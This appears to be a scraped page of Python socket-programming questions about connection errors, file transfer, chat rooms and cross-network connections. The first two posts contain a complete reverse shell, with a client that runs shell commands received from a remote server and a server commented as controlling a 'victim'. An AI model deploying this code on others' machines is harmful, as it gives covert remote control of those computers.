ConnectionRefusedError: [WinError 10061] - python

I am using the code below to connect to other system after making a socket.
When I run locally on my system it works fine, but on other system its giving an error for ConnectionRefusedError: [WinError 10061], Python.
I tried to add s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) instead of s = socket.socket():
but it's giving me the same error.
This what I am using for client
import socket
import os
import subprocess
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)
This what I am using for server:
import socket
import sys
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established! |" + " IP " + address[0] + " | Port " + str(address[1]))
send_commands(conn)
conn.close()
# Send commands to client/victim or a friend
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def main():
create_socket()
bind_socket()
socket_accept()
main()

Related

Cannot make the client.py file bind to the server.py file

I'm fiddling around with socket programming and can't seem to get my server.py file to work.
My first step is execute the following server.py file (which works). I then execute the client.py and the following error pops up:
Traceback (most recent call last):
File "client.py", line 10, in <module>
s.connect((host, port))
PermissionError: [Errno 13] Permission denied
I've tried running the client.py file as an administrator and the port number is too high to be privileged. What am I missing here?
Server.py File:
import socket
import sys
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established! |" + " IP " + address[0] + " | Port" + str(address[1]))
send_commands(conn)
conn.close()
# Send commands to client/victim or a friend
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def main():
create_socket()
bind_socket()
socket_accept()
main()
Client.py file:
import socket
import os
import subprocess
s = socket.socket()
host = '192.168.1.255'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)```

Server and client don't send file, how can I make it work?

I'm trying to create a client-server file transfer using python socket but i cant make it work
For example I used this from a tutorial:
Server:
import socket, os, sys
def Main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1'
finally:
s.close()
print(IP)
host = IP
port = 50001
s = socket.socket()
s.bind((host,port))
print("server Started")
s.listen(1)
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
filename = ''
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
filename += data
print("from connected user: " + filename)
c.close()
if __name__ == '__main__':
Main()
Client:
host = '192.168.1.90'
port = 50001
s = socket.socket()
s.connect((host, port))
Filename = 'prova3.txt'
s.send(Filename.encode('utf-8'))
s.shutdown(socket.SHUT_WR)
data = s.recv(1024).decode('utf-8')
print(data)
s.close()
host = '192.168.1.90'
port = 50001
s = socket.socket()
s.connect((host, port))
Filename = 'prova3.txt'
s.send('prova3.txt')
s.shutdown(socket.SHUT_WR)
data = s.recv(1024).decode('utf-8')
print(data)
s.close()
Now this client and server connect to each other but don't send file, what's wrong?

How to implement iperf module for Bandwidth monitoring in this python chatroom?

https://iperf.fr/iperf-doc.php
https://iperf.fr/
//server.py
import socket
import select
import sys
from thread import *
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.bind((IP_address, Port))
server.listen(100)
list_of_clients = []
def clientthread(conn, addr):
conn.send("Welcome to this chatroom!")
while True:
try:
message = conn.recv(2048)
if message:
print "<" + addr[0] + "> " + message
message_to_send = "<" + addr[0] + "> " + message
broadcast(message_to_send, conn)
else:
remove(conn)
except:
continue
def broadcast(message, connection):
for clients in list_of_clients:
if clients!=connection:
try:
clients.send(message)
except:
clients.close()
remove(clients)
def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)
while True:
conn, addr = server.accept()
list_of_clients.append(conn)
print addr[0] + " connected"
start_new_thread(clientthread,(conn,addr))
conn.close()
server.close()
The client side script will simply attempt to access the server socket created at the specified IP address and port. Once it connects, it will continuously check as to whether the input comes from the server or from the client, and accordingly redirects output. If the input is from the server, it displays the message on the terminal. If the input is from the user, it sends the message that the users enters to the server for it to be broadcasted to other users.
//client.py
import socket
import select
import sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.connect((IP_address, Port))
while True:
sockets_list = [sys.stdin, server]
read_sockets,write_socket, error_socket = select.select(sockets_list,[],[])
for socks in read_sockets:
if socks == server:
message = socks.recv(2048)
print message
else:
message = sys.stdin.readline()
server.send(message)
sys.stdout.write("<You>")
sys.stdout.write(message)
sys.stdout.flush()
server.close()

Python - Can't figure out syntax of tcp/udp client using socket module

I have been trying to make a client-server system following this tutorial and for some reason when testing it on two different computers the two computers won't connect.
Both the UDP and the TCP code have failed, and I suspect it's because I can't figure out which IP goes to where.
Code for host:
import socket
def main():
host = 'ip.ip.ip.ip'
port = 5000
s = socket.socket()
s.bind((host, port))
s.listen(1)
c, addr = s.accept()
print("Connection from: " + str(addr))
while True:
data = c.recv(1024)
if not data:
break
print("From connected user: " + str(data))
data = str(data).upper()
print("Sending " + str(data))
c.send(data)
c.close()
if __name__ == '__main__':
main()
Code for client:
import socket
def main():
host = 'ip.ip.ip.ip'
port = 5000
s = socket.socket()
s.connect((host, port))
message = raw_input("-> ")
while message != 'q':
s.send(message)
data = s.recv(1024)
print("Recived from server: " + str(data))
message = raw_input("-> ")
s.close()
if __name__ == '__main__':
main()

Python Socket Connection

I want to connect computers what is not in my lan. I want to connect real ip.
My server Code
import json
import os
import select
import socket
import sys
import urllib
import urllib.request
from optparse import OptionParser
ip = json.loads(urllib.request.urlopen('http://httpbin.org/ip').read().decode("utf-8"))['origin']
print(ip)
def isAlive(ip):
ret = os.system("ping -o -c 3 -W 3000 " + ip)
if ret != 0:
return True
return False
HOST = socket.gethostname()
SOCKET_LIST = []
RECV_BUFFER = 1024
PORT = 1993
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.listen(10)
# add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print("Chat server started on port " + str(PORT), "on Host " + str(HOST))
print(SOCKET_LIST)
while True:
ready_to_read, ready_to_write, in_error = select.select(SOCKET_LIST, [], [], 0)
for sock in ready_to_read:
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print("Client (%s, %s) connected" % addr)
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
else:
try:
data = sock.recv(RECV_BUFFER)
recvString = data.decode("utf-8")
print(recvString)
if data:
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data)
else:
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
def broadcast(server_socket, sock, message):
for socket in SOCKET_LIST:
if socket != server_socket and socket != sock:
try:
socket.send(message)
except:
socket.close()
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
Connection Code
import socket
print(socket.getaddrinfo("localhost", 80, 0, 0, socket.SOL_TCP))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Socket successfully created")
print(socket.gethostbyname(socket.gethostname()))
except socket.error as err:
print("socket creation failed with error %s" % (err))
port = 1993
host_ip = '193.140.109.2'
s.connect((host_ip, port))
while True:
getGet = input("Send Data: ")
s.sendall(bytearray(getGet, 'utf8'))
if getGet == '-':
s.close()
I wrote this code but I cannot connect my pc. I have some questions.
1- Is sockets only for lan connection ?
2- How can i connect diffrent computer ?
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
port = 1993
host_ip = 'fe80::d862:a887:2f4c:53d0%12'
Solved my problem.

Categories

Resources